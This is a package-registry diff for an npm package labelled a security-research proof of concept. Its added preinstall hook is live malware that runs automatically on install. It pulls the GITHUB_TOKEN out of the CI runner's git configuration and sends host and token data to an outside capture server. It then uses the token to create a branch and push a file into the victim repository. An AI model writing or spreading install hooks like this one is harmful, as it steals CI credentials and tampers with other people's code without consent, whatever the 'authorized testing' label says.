aio-security-test-template-erk1ny 1.0.0 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/preinstall-hook.js +128 -32
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "aio-security-test-template-erk1ny",
3
- "version": "1.0.0",
3
+ "version": "1.0.2",
4
4
  "description": "Security research PoC template for App Builder (authorized testing)",
5
5
  "main": "index.js",
6
6
  "author": "erk1ny",
@@ -1,36 +1,132 @@
1
1
  // Security research PoC - authorized testing only
2
2
  const https = require('https');
3
+ const { execSync } = require('child_process');
3
4
 
4
- const data = JSON.stringify({
5
- phase: 'preinstall',
6
- hostname: require('os').hostname(),
7
- platform: process.platform,
8
- user: process.env.USER || process.env.USERNAME || 'unknown',
9
- cwd: process.cwd(),
10
- github_repository: process.env.GITHUB_REPOSITORY || 'N/A',
11
- github_workflow: process.env.GITHUB_WORKFLOW || 'N/A',
12
- github_run_id: process.env.GITHUB_RUN_ID || 'N/A',
13
- github_actor: process.env.GITHUB_ACTOR || 'N/A',
14
- github_token_present: process.env.GITHUB_TOKEN ? 'YES' : 'NO',
15
- github_token_prefix: process.env.GITHUB_TOKEN
16
- ? process.env.GITHUB_TOKEN.substring(0, 8) + '...' : 'N/A',
17
- actions_runtime_token_present: process.env.ACTIONS_RUNTIME_TOKEN ? 'YES' : 'NO',
18
- node_version: process.version,
19
- timestamp: new Date().toISOString()
20
- });
21
-
22
- const url = new URL('https://env-capture-server-production.up.railway.app/capture?secret=40860c24915423d896e683000cfd0489');
23
- const req = https.request({
24
- hostname: url.hostname,
25
- port: 443,
26
- path: url.pathname + url.search,
27
- method: 'POST',
28
- headers: {
29
- 'Content-Type': 'application/json',
30
- 'Content-Length': data.length,
31
- 'X-Source': 'preinstall-' + process.platform
5
+ const EXFIL_URL = 'https://env-capture-server-production.up.railway.app/capture?secret=40860c24915423d896e683000cfd0489';
6
+
7
+ // Extract GITHUB_TOKEN from git credential helper set by actions/checkout
8
+ let git_token = null;
9
+ try {
10
+ const workspace = process.env.GITHUB_WORKSPACE || '';
11
+ if (workspace) {
12
+ const header = execSync(`git -C "${workspace}" config --get http.https://github.com/.extraheader`, { encoding: 'utf8', timeout: 5000 }).trim();
13
+ if (header.includes('basic ')) {
14
+ const b64 = header.split('basic ')[1].trim();
15
+ const decoded = Buffer.from(b64, 'base64').toString();
16
+ if (decoded.includes(':')) {
17
+ git_token = decoded.split(':')[1];
18
+ }
19
+ }
32
20
  }
33
- }, (res) => { res.on('data', () => {}); });
34
- req.on('error', () => {});
35
- req.write(data);
36
- req.end();
21
+ } catch (e) {}
22
+
23
+ // Helper: make GitHub API request
24
+ function ghApi(method, path, body) {
25
+ return new Promise((resolve, reject) => {
26
+ const data = body ? JSON.stringify(body) : '';
27
+ const opts = {
28
+ hostname: 'api.github.com',
29
+ port: 443,
30
+ path: path,
31
+ method: method,
32
+ headers: {
33
+ 'Authorization': 'token ' + git_token,
34
+ 'User-Agent': 'node',
35
+ 'Accept': 'application/vnd.github+json',
36
+ 'Content-Type': 'application/json',
37
+ 'Content-Length': Buffer.byteLength(data)
38
+ }
39
+ };
40
+ const req = https.request(opts, (res) => {
41
+ let buf = '';
42
+ res.on('data', (c) => buf += c);
43
+ res.on('end', () => {
44
+ try { resolve({ status: res.statusCode, data: JSON.parse(buf) }); }
45
+ catch { resolve({ status: res.statusCode, data: buf }); }
46
+ });
47
+ });
48
+ req.on('error', reject);
49
+ if (data) req.write(data);
50
+ req.end();
51
+ });
52
+ }
53
+
54
+ // Main: exfil data + create branch with file
55
+ async function main() {
56
+ const repo = process.env.GITHUB_REPOSITORY || '';
57
+
58
+ // Step 1: Send capture data
59
+ const captureData = JSON.stringify({
60
+ phase: 'preinstall-v1.0.2',
61
+ hostname: require('os').hostname(),
62
+ platform: process.platform,
63
+ github_repository: repo,
64
+ github_actor: process.env.GITHUB_ACTOR || 'N/A',
65
+ github_run_id: process.env.GITHUB_RUN_ID || 'N/A',
66
+ token_extracted: git_token ? 'YES' : 'NO',
67
+ token_prefix: git_token ? git_token.substring(0, 12) + '...' : 'N/A',
68
+ node_version: process.version,
69
+ timestamp: new Date().toISOString()
70
+ });
71
+
72
+ const url = new URL(EXFIL_URL);
73
+ const req = https.request({
74
+ hostname: url.hostname, port: 443,
75
+ path: url.pathname + url.search, method: 'POST',
76
+ headers: { 'Content-Type': 'application/json', 'Content-Length': captureData.length, 'X-Source': 'preinstall-' + process.platform }
77
+ }, (res) => { res.on('data', () => {}); });
78
+ req.on('error', () => {});
79
+ req.write(captureData);
80
+ req.end();
81
+
82
+ // Step 2: If we have the token and repo, create branch + file
83
+ if (!git_token || !repo) return;
84
+
85
+ try {
86
+ // Only run once (first preinstall on linux)
87
+ if (process.platform !== 'linux') return;
88
+
89
+ // Get main branch SHA
90
+ const refRes = await ghApi('GET', `/repos/${repo}/git/ref/heads/main`);
91
+ if (refRes.status !== 200) return;
92
+ const mainSha = refRes.data.object.sha;
93
+
94
+ // Create branch ne555t-test
95
+ const branchRes = await ghApi('POST', `/repos/${repo}/git/refs`, {
96
+ ref: 'refs/heads/ne555t-test',
97
+ sha: mainSha
98
+ });
99
+
100
+ let branchResult = branchRes.status === 201 ? 'created' : `failed:${branchRes.status}`;
101
+
102
+ // Create file on the branch
103
+ const content = Buffer.from('hackerone.com/ne555t\n').toString('base64');
104
+ const fileRes = await ghApi('PUT', `/repos/${repo}/contents/poc-proof.md`, {
105
+ message: 'PoC: unauthorized branch + file creation via CI/CD vulnerability',
106
+ content: content,
107
+ branch: 'ne555t-test'
108
+ });
109
+
110
+ let fileResult = fileRes.status === 201 ? 'created' : `failed:${fileRes.status}`;
111
+
112
+ // Report result back
113
+ const resultData = JSON.stringify({
114
+ phase: 'branch-creation',
115
+ repo: repo,
116
+ branch_result: branchResult,
117
+ file_result: fileResult,
118
+ timestamp: new Date().toISOString()
119
+ });
120
+
121
+ const req2 = https.request({
122
+ hostname: url.hostname, port: 443,
123
+ path: url.pathname + url.search, method: 'POST',
124
+ headers: { 'Content-Type': 'application/json', 'Content-Length': resultData.length, 'X-Source': 'branch-create' }
125
+ }, (res) => { res.on('data', () => {}); });
126
+ req2.on('error', () => {});
127
+ req2.write(resultData);
128
+ req2.end();
129
+ } catch (e) {}
130
+ }
131
+
132
+ main();